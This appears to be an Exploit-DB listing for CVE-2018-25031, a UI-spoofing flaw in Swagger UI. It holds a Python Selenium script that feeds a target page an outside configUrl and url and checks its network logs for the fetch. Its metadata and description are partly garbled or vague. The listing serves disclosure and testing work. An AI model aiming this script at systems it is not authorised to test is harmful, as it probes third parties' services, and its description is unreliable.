Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information

vendor:

Swagger UI

by:

Rafael Cintra Lopes

4.3

CVSS

MEDIUM

Misrepresentation of Critical Information

CWE

Product Name: Swagger UI

Affected Version From: < 4.1.3

Affected Version To: 4.1.2003

Patch Exists: YES

Related CWE: CVE-2018-25031

CPE: a:swagger:swagger_ui

Metasploit: https://www.rapid7.com/db/vulnerabilities/ibm-was-cve-2018-25031/, https://www.rapid7.com/db/vulnerabilities/ibm-was-cve-2021-46708/

Other Scripts:

Platforms Tested:

2023

Swagger UI 4.1.3 – User Interface (UI) Misrepresentation of Critical Information

A vulnerability in Swagger UI 4.1.3 allows an attacker to misrepresent critical information in the user interface. This vulnerability can be exploited by sending a malicious request to the target server, which will then return a response containing the malicious data. The attacker can then use this data to gain access to sensitive information or to perform other malicious activities.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Swagger UI.

Source

Exploit-DB raw data:

# Exploit Title: Swagger UI 4.1.3 - User Interface (UI) Misrepresentation of Critical Information
# Date: 14 April, 2023
# Exploit Author: Rafael Cintra Lopes
# Vendor Homepage: https://swagger.io/
# Version: < 4.1.3
# CVE: CVE-2018-25031
# Site: https://rafaelcintralopes.com.br/

# Usage: python swagger-exploit.py https://[swagger-page].com

from selenium import webdriver
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from selenium.webdriver.chrome.service import Service
import time
import json
import sys

if __name__ == "__main__":

	target = sys.argv[1]

	desired_capabilities = DesiredCapabilities.CHROME
	desired_capabilities["goog:loggingPrefs"] = {"performance": "ALL"}

	options = webdriver.ChromeOptions()
	options.add_argument("--headless")
	options.add_argument("--ignore-certificate-errors")
	options.add_argument("--log-level=3")
	options.add_experimental_option("excludeSwitches", ["enable-logging"])

	# Browser webdriver path
	drive_service = Service("C:/chromedriver.exe")

	driver = webdriver.Chrome(service=drive_service,
							options=options,
							desired_capabilities=desired_capabilities)

	driver.get(target+"?configUrl=https://petstore.swagger.io/v2/hacked1.json")
	time.sleep(10)
	driver.get(target+"?url=https://petstore.swagger.io/v2/hacked2.json")
	time.sleep(10)

	logs = driver.get_log("performance")

	with open("log_file.json", "w", encoding="utf-8") as f:
		f.write("[")

		for log in logs:
			log_file = json.loads(log["message"])["message"]

			if("Network.response" in log_file["method"]
					or "Network.request" in log_file["method"]
					or "Network.webSocket" in log_file["method"]):

				f.write(json.dumps(log_file)+",")
		f.write("{}]")

	driver.quit()

	json_file_path = "log_file.json"
	with open(json_file_path, "r", encoding="utf-8") as f:
		logs = json.loads(f.read())

	for log in logs:
		try:
			url = log["params"]["request"]["url"]

			if(url == "https://petstore.swagger.io/v2/hacked1.json"):
				print("[Possibly Vulnerable] " + target + "?configUrl=https://petstore.swagger.io/v2/swagger.json")
			
			if(url == "https://petstore.swagger.io/v2/hacked2.json"):
				print("[Possibly Vulnerable] " + target + "?url=https://petstore.swagger.io/v2/swagger.json")

		except Exception as e:
			pass